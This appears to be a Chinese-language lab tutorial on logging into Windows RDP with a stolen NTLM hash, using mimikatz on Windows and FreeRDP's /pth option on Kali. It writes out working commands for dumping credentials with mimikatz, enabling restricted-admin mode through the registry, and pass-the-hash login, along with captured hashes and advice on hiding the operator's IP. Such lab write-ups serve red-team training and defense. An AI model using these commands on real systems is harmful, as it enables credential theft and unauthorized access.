在很多情况下,拿不到明文密码,由于对方机器是win2012
的话,可以尝试使用hash
登录RDP
,看下桌面有什么东西。
hash
登录RDP
其实有两个版本:
Windows
版,本地用mimikatz
来配合登录linux
版,用类似于FreeRDP
这样的工具pth
登录RDP
但很多情况下,如果在Windows
下proxifier
代理有问题的时候,就会发现无论如何设置,hash
登录rdp
的流量就是走不了代理,这如果机器本身就在外网的话,会暴露自己的真实ip
,如果在内网的话,基本上就是登录不成功。
比如下面的:
好消息是linux
版可以使用FreeRDP
这样的工具进行登录,坏消息是在早期网上说FreeRDP
已经被移除了,新版本FreeRDP
已经移除了该模块,但是作者给出了旧版本的文件,我们可以自行编译该模块进行使用。
https://www.secpulse.com/archives/72190.html
不过这个文章是18
年的,好消息是目前新版FreeRDP
又又又把功能加回来了,但变化是参数执行方式发生了一些微调:
本来想着自己用老版本编译一下看看的,但是新版已经支持了,本文就来操作看下。
在这里分别采用:
Windows2012
192.168.135.133
被登录机器,只提供`hash`值,该环境已经关闭了防火墙,`3389`默认开启
Windows10
2016长期服务版
192.168.135.168
登录`Windows2012`,验证`hash`登录是否能够成功
Windows server2019
192.168.135.136
登录Windows server2012
备用机器
kali linux
192.168.135.138
采用`FreeRDP`登录`winserver2012`
在这里先把hash
拿到,由于在本地,直接用mimikatz
获取winserver2012
的hash
值:
mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit >> log.txt
在这里就获得了当前用户crow
的hash
信息:
[00000003] Primary
* Username : crow
* Domain : WIN-OE76K6VTLBR
* NTLM : 570a9a65db8fba761c1008a51d4c95ab
* SHA1 : 759e689a07a84246d0b202a80f5fd9e335ca5392
在这里需要继续设置,才可以进行hash
登录:
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
查看是否已开启 DisableRestrictedAdmin
REG_DWORD 0x0 `存在就是开启:
REG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin"
此时已开启。
此时用win10
来登录测试下:
当前winserver2012
的信息:
192.168.135.133
[00000003] Primary
* Username : crow
* Domain : WIN-OE76K6VTLBR
* NTLM : 570a9a65db8fba761c1008a51d4c95ab
* SHA1 : 759e689a07a84246d0b202a80f5fd9e335ca5392
在Windows10
上用mimikatz
来进行hash
登录的命令:
privilege::debug
sekurlsa::pth /user:crow /domain:WIN-OE76K6VTLBR /ntlm:570a9a65db8fba761c1008a51d4c95ab "/run:mstsc.exe /restrictedadmin"
此时win10
上出现了这个问题:
出现身份验证错误。
要求的函数不受支持
元程计算机: 192.168.135.133
这可能是由于 CredsSP 加密 Oracle 修iE若要了解详细信息,请访问 https://go.microsoft.com/fwlink/?linkid=866660
这个我看到网上有非常多的方法,在攻防中遇到过好多次,最好的方法就是换一个客户端去连接,在这使用Windows server2019
来连接:
到这里就可以证明环境是没有问题的,接下来就看kali
了。
看下当前FreeRDP
的版本:
此时如果用明文登录的话,命令应该是这样的:
xfreerdp /u:crow /p:Admin@123 /v:192.168.135.133:3389
xfreerdp
的命令改动非常大,网上好多教程命令都对不上了,但是用这种方法登录的话,会遇到问题:
[10:59:55:669] [40228:40229] [ERROR][com.freerdp.core] - transport_connect_tls:freerdp_set_last_error_ex ERRCONNECT_TLS_CONNECT_FAILED [0x00020008]
通过查阅资料得知:
https://github.com/FreeRDP/FreeRDP/issues/6544
加上/tls-seclevel:0 /timeout:80000
参数就可以了:
xfreerdp /u:crow /p:Admin@123 /v:192.168.135.133:3389 /tls-seclevel:0 /timeout:80000
如果此时试试用hash
登录了,因为新版里面好像有hash
的选项:
xfreerdp /pth:570a9a65db8fba761c1008a51d4c95ab /v:192.168.135.133:3389 /tls-seclevel:0 /timeout:80000
根据提示,用用户名crow
:
xfreerdp /pth:570a9a65db8fba761c1008a51d4c95ab /u:crow /v:192.168.135.133:3389 /tls-seclevel:0 /timeout:80000
直接成功。
在Linux
上用FreeRDP
进行hash
登录操作,主要还是因为代理的问题,因为我有授权的攻防中,在登陆某些公网机器的时候,不想泄露自己的真实ip
,需要套一层,虽然我在其他的虚拟机里面可以用代理走3389
了,但是这里面还存在一个rdp
反制的问题,后面有机会和大家分享一下。
本来想学习下老版本FreeRDP
的编译知识,来支持下pth
的,但是新版又给加回来了,所以本文就到此。